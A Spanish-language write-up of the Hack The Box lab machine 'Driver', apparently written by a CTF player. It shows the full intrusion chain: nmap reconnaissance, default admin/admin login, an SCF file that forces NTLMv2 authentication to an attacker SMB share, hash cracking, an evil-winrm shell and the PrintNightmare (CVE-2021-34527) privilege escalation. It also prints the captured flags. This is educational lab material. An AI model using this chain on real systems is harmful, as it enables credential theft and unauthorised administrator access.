PING 10.10.11.106 (10.10.11.106) 56(84) bytes of data.
64 bytes from 10.10.11.106: icmp_seq=1 ttl=127 time=177 ms
--- 10.10.11.106 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 177.499/177.499/177.499/0.000 ms
Podemos notar que se trata de una maquina Windows, debido al TTL:
TTL <= 64 >>(Linux)
TTL <= 128 >> (Windows)
1.2 Nmap
# Nmap 7.95 scan initiated Sun Mar 2 20:50:41 2025 as: /usr/lib/nmap/nmap -sS -sV -sC -p- -open --min-rate 5000 -Pn -vvv -oN escaneo.txt 10.10.11.106
Nmap scan report for 10.10.11.106
Host is up, received user-set (0.17s latency).
Scanned at 2025-03-02 20:50:41 -03 for 75s
Not shown: 65531 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE REASON VERSION
80/tcp open http syn-ack ttl 127 Microsoft IIS httpd 10.0
| http-methods:
| Supported Methods: OPTIONS TRACE GET HEAD POST
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
| http-auth:
| HTTP/1.1 401 Unauthorized\x0D
|_ Basic realm=MFP Firmware Update Center. Please enter password for admin
135/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
445/tcp open microsoft-ds syn-ack ttl 127 Microsoft Windows 7 - 10 microsoft-ds (workgroup: WORKGROUP)
5985/tcp open http syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
Service Info: Host: DRIVER; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb-security-mode:
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| p2p-conficker:
| Checking for Conficker.C or higher...
| Check 1 (port 18115/tcp): CLEAN (Timeout)
| Check 2 (port 40145/tcp): CLEAN (Timeout)
| Check 3 (port 26928/udp): CLEAN (Timeout)
| Check 4 (port 36721/udp): CLEAN (Timeout)
|_ 0/4 checks are positive: Host is CLEAN or ports are blocked
|_clock-skew: mean: 6h59m59s, deviation: 0s, median: 6h59m59s
| smb2-time:
| date: 2025-03-03T06:51:18
|_ start_date: 2025-03-03T06:45:28
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled but not required
Read data files from: /usr/share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Mar 2 20:51:56 2025 -- 1 IP address (1 host up) scanned in 75.28 seconds
Se ven puertos comunes de Windows, como el 135, 139, y el 445(SMB), ademas del puerto 80 correspondiente a un servidor web(Microsoft IIS httpd 10.0)
1.3 whatweb
http://10.10.11.106 [401 Unauthorized] Country[RESERVED][ZZ], HTTPServer[Microsoft-IIS/10.0], IP[10.10.11.106], Microsoft-IIS[10.0], PHP[7.3.25], WWW-Authenticate[MFP Firmware Update Center. Please enter password for admin][Basic], X-Powered-By[PHP/7.3.25]
┌──(root㉿t0mz)-[/home/kali/ctf/driver]
└─# wfuzz -c --hc 404 -t 200 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt http://10.10.11.106/FUZZ
/usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://10.10.11.106/FUZZ
Total requests: 220560
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000002: 401 1 L 2 W 20 Ch "#"
000000203: 301 1 L 10 W 150 Ch "Images"
000003673: 301 1 L 10 W 150 Ch "IMAGES"
000000005: 401 1 L 2 W 20 Ch "# This work is licensed under the Creative Commons"
000000004: 401 1 L 2 W 20 Ch "#"
000000008: 401 1 L 2 W 20 Ch "# or send a letter to Creative Commons, 171 Second Street,"
000000006: 401 1 L 2 W 20 Ch "# Attribution-Share Alike 3.0 License. To view a copy of this"
000000009: 401 1 L 2 W 20 Ch "# Suite 300, San Francisco, California, 94105, USA."
000000010: 401 1 L 2 W 20 Ch "#"
000000011: 401 1 L 2 W 20 Ch "# Priority ordered case sensative list, where entries were found"
000000016: 301 1 L 10 W 150 Ch "images"
000000012: 401 1 L 2 W 20 Ch "# on atleast 2 different hosts"
000000014: 401 1 L 2 W 20 Ch "http://10.10.11.106/"
000000013: 401 1 L 2 W 20 Ch "#"
000000007: 401 1 L 2 W 20 Ch "# license, visit http://creativecommons.org/licenses/by-sa/3.0/"
000000003: 401 1 L 2 W 20 Ch "# Copyright 2007 James Fisher"
000000001: 401 1 L 2 W 20 Ch "# directory-list-2.3-medium.txt"
000045240: 401 1 L 2 W 20 Ch "http://10.10.11.106/"
Total time: 0
Processed Requests: 220560
Filtered Requests: 220542
Requests/sec.: 0
Dentro del fuzzing del directorio por default no encontramos nada relevante
2- Explotación
2.1 admin/admin
Vamos a irnos a la pagina web alojada en el puerto 80:
Nos pide unas credenciales mediante un panel de login(común en dispositivos IoT)
Si recordamos el escaneo de "whatweb" para ver las tecnologías web, nos vamos a encontrar con esto:
WWW-Authenticate[MFP Firmware Update Center. Please enter password for admin][Basic]
Nos da el usuario a ingresar, en este caso "admin", si probamos la contraseña default de la mayoría de dispositivos IoT, "admin" y "admin":
Nos deja entrar y podemos ver que es una impresora que esta expuesta en internet con credenciales por default, esta aplicación web es el MFP Firmware Update Center, ósea para actualizar el firmware de la impresora
Si nos vamos a "Firmware Updates":
Tenemos un formulario para subida de archivos dentro del servidor web
2.2 SCF(Shortcut File) en impresoras vía SMB
Podríamos pensar que ya como tenemos un formulario de subida de archivos en el servidor web, ya podemos subir un archivo PHP malicioso para obtener ejecución remota de comandos, pero este no es el caso, la intrusión a la maquina objetivo viene por otro lado, en este caso vamos a aprovecharnos de una vulnerabilidad llamada "SCF"
La vulnerabilidad SCF (Shortcut File) en impresoras está relacionada con la explotación de archivos de acceso directo de Windows (.scf) y afecta a dispositivos de impresión que tienen recursos compartidos en la red. Se aprovecha principalmente en entornos donde las impresoras tienen un servidor SMB (Server Message Block) habilitado o comparten archivos en la red local.
Si recordamos en el escaneo de Nmap, teníamos abierto el puerto 445 correspondiente a un servidor SMB, por lo que corresponde la vulnerabilidad SCF
2.2.1 ¿Cómo funciona la vulnerabilidad SCF?
Envío de un archivo malicioso: El atacante crea un archivo .scf modificado y lo almacena en la impresora (si tiene almacenamiento interno) o en un recurso compartido mayormente.
Autenticación forzada (NTLM Relay): Cuando un usuario o el sistema accede a la impresora y abre el recurso compartido, el archivo .scf se ejecuta de manera automática. Este archivo puede apuntar a una ruta SMB controlada por el atacante.
Robo de credenciales: Cuando el sistema intenta acceder a la ruta maliciosa, envía un hash NTLMv2 del usuario autenticado. El atacante puede capturar este hash y:
Realizar un ataque de Pass-the-Hash para acceder a otros sistemas.
Intentar crackear el hash para obtener la contraseña en texto claro.
Escalada de privilegios o movimiento lateral: Una vez que el atacante tiene las credenciales, puede moverse por la red, acceder a otros dispositivos o comprometer recursos más sensibles.
En este caso, la modalidad que vamos a ejercer es la segunda opción, vamos a obtener el Hash de NTLMv2 del usuario autenticado en cuestión
Pero... ¿Cómo sabemos que un usuario va a acceder al sistema?
En el mismo panel de actualización de Firmware lo indica:
"Nuestro equipo de pruebas revisará las cargas manualmente e iniciará las pruebas en breve. "
Así que vamos a crearnos un archivo ".SCF" para subirlo al servidor objetivo mediante SMB y obtener los hashes NTLMv2 teniendo en escucha la herramienta "responder"
En mi caso utilizare el siguiente archivo .SCF:
[Shell]
Command=2
IconFile=\\{IP VPN HTB}\{Ruta del recurso compartido}\{Archivo del recurso compartido}
[Taskbar]
Command=ToggleDesktop
Este archivo .SCF, es necesario que lo almacenemos dentro de una carpeta, asi que vamos a crear una carpeta y mover el archivo .SCF a la carpeta:
┌──(root㉿t0mz)-[/home/kali/ctf/driver]
└─# mkdir carpeta
┌──(root㉿t0mz)-[/home/kali/ctf/driver]
└─# mv archivo.scf carpeta
┌──(root㉿t0mz)-[/home/kali/ctf/driver]
└─# cd carpeta
┌──(root㉿t0mz)-[/home/kali/ctf/driver/carpeta]
└─# ls
archivo.scf
┌──(root㉿t0mz)-[/home/kali/ctf/driver/carpeta]
└─#
Y ahora vamos a alojar un servidor SMB dentro de nuestro Kali, especificándole la ruta que le dimos al archivo .SCF, esto lo hacemos con la herramienta de "impacket-smbserver" con el siguiente comando:
impacket-smbserver {Nombre del recurso compartido} {Directorio a comportir} -smb2support
La contraseña esta hasheada, por lo que hay que aplicar fuerza bruta para obtener la contraseña en texto plano, para eso vamos a utilizar John The Ripper con el siguiente comando:
john --wordlist={Diccionario} {Archivo con hash}
En mi caso utilizare el diccionario "rockyou", de tal manera que el comando quedaría de la siguiente forma:
john --wordlist=/usr/share/wordlists/rockyou.txt hash
Ejecutamos:
┌──(root㉿t0mz)-[/home/kali/ctf/driver]
└─# john --wordlist=/usr/share/wordlists/rockyou.txt hash
Using default input encoding: UTF-8
Loaded 1 password hash (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64])
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
liltony (tony)
1g 0:00:00:00 DONE (2025-03-02 23:25) 16.66g/s 529066p/s 529066c/s 529066C/s !!!!!!..225566
Use the "--show --format=netntlmv2" options to display all of the cracked passwords reliably
Session completed.
┌──(root㉿t0mz)-[/home/kali/ctf/driver]
└─#
Ya tenemos las credenciales del usuario "tony":
Usuario: tony
Contraseña: liltony
Y ahora vamos a validar las credenciales para ver si tenemos acceso al servidor SMB con "crackmapexec" con el siguiente comando:
Tambien vamos a validar con "crackmapexec" si podemos acceder con estas credenciales mediante "evil-winrm":
┌──(root㉿t0mz)-[/home/kali/ctf/driver]
└─# crackmapexec winrm 10.10.11.106 -u 'tony' -p 'liltony'
SMB 10.10.11.106 5985 DRIVER [*] Windows 10 Build 10240 (name:DRIVER) (domain:DRIVER)
HTTP 10.10.11.106 5985 DRIVER [*] http://10.10.11.106:5985/wsman
/usr/lib/python3/dist-packages/spnego/_ntlm_raw/crypto.py:46: CryptographyDeprecationWarning: ARC4 has been moved to cryptography.hazmat.decrepit.ciphers.algorithms.ARC4 and will be removed from this module in 48.0.0.
arc4 = algorithms.ARC4(self._key)
WINRM 10.10.11.106 5985 DRIVER [+] DRIVER\tony:liltony (Pwn3d!)
Vemos que si es posible, asi que vamos a utilizar "evil-winrm" para conectarnos y obtener una shell de PowerShell con el siguiente comando:
┌──(root㉿t0mz)-[/home/kali/ctf/driver]
└─# evil-winrm -i 10.10.11.106 -u 'tony' -p 'liltony'
Evil-WinRM shell v3.7
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\tony\Documents>
Ya tenemos una consola de PowerShell remota hacia la maquina de Hack The Box
2.4 Obtención de la flag user
La flag de user se encuentra dentro de la ruta absoluta "C:\Users\tony\Desktop\user.txt":
*Evil-WinRM* PS C:\Users\tony\Documents> type "C:\Users\tony\Desktop\user.txt"
517dbf0895247c9062580271eadb62e3
*Evil-WinRM* PS C:\Users\tony\Documents>
3- Escalado de privilegios
3.1 spoolsv.exe LPE
Si miramos los procesos que tenemos corriendo sobre la maquina con el comando "ps", veremos un proceso llamado "spoolsv":
Mediante este proceso podemos realizar un LPE(Local Privilege Escalation), podemos utilizar varios exploits que se encuentran en GitHub, en mi caso utilizare un exploit de John Hammond concretamente la vulnerabilidad publica CVE-2021-34527:
Asi que vamos a bajarnos con "wget" el archivo "CVE-2021-34527.ps1" para ejecutarlo en la reverse shell de PowerShell que obtuvimos con evil-winrm para ejecutar la escalada de privilegios
Lo que realiza este exploit es la creación de un nuevo usuario dentro de la maquina con un usuario y contraseña que nosotros le asignemos a los parámetros del exploit
Una vez ya importado el modulo, vamos a crear un nuevo usuario desde PowerShell con las funciones del anterior modulo importado con el siguiente comando "Invoke-Nightmare":
*Evil-WinRM* PS C:\Users\tony\Documents> Invoke-Nightmare
[+] using default new user: adm1n
[+] using default new password: P@ssw0rd
[+] created payload at C:\Users\tony\AppData\Local\Temp\nightmare.dll
[+] using pDriverPath = "C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_f66d9eed7e835e97\Amd64\mxdwdrv.dll"
[+] added user as local administrator
[+] deleting payload from C:\Users\tony\AppData\Local\Temp\nightmare.dll
*Evil-WinRM* PS C:\Users\tony\Documents>
Se creo un usuario admin con las siguientes credenciales
user: adm1n
password: P@ssw0rd
Ademas de crearse el payload en formato .dll
Ahora vamos a crear un usuario que sea Administrator con el siguiente comando:
*Evil-WinRM* PS C:\Users\tony\Documents> Invoke-Nightmare -DriverName "Xerox" -NewUser "t0mz" -NewPassword "SuperSecure"
[+] created payload at C:\Users\tony\AppData\Local\Temp\nightmare.dll
[+] using pDriverPath = "C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_f66d9eed7e835e97\Amd64\mxdwdrv.dll"
[+] added user t0mz as local administrator
[+] deleting payload from C:\Users\tony\AppData\Local\Temp\nightmare.dll
*Evil-WinRM* PS C:\Users\tony\Documents>
User: t0mz
Password: SuperSecure
Ahora ya tenemos el usuario "t0mz" en mi caso, que ya pertenece al grupo de Administrators de esta maquina, asi que vamos a conectarnos con "evil-winrm" con estas credenciales:
┌──(root㉿t0mz)-[/home/kali/ctf/driver]
└─# evil-winrm -i 10.10.11.106 -u 't0mz' -p 'SuperSecure'
Evil-WinRM shell v3.7
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\t0mz\Documents>
Ya tenemos un usuario Administrator solamente por el fallo de seguridad del proceso "spoolsv.exe"
3.2 Obtención de la flag root
La flag de user se encuentra dentro de la ruta absoluta "C:\Users\Administrator\Desktop\root.txt":
*Evil-WinRM* PS C:\Users\t0mz\Documents> type "C:\Users\Administrator\Desktop\root.txt"
212278b7b87e4810c6d48dfbccf3db19
*Evil-WinRM* PS C:\Users\t0mz\Documents>
Con esto, concluimos la maquina "Driver" de Hack The Box
Espero te haya sido de ayuda este Write Up :)
Si tuviste alguna dificultad a la hora de resolverlo, no olvides contactarme en mis redes sociales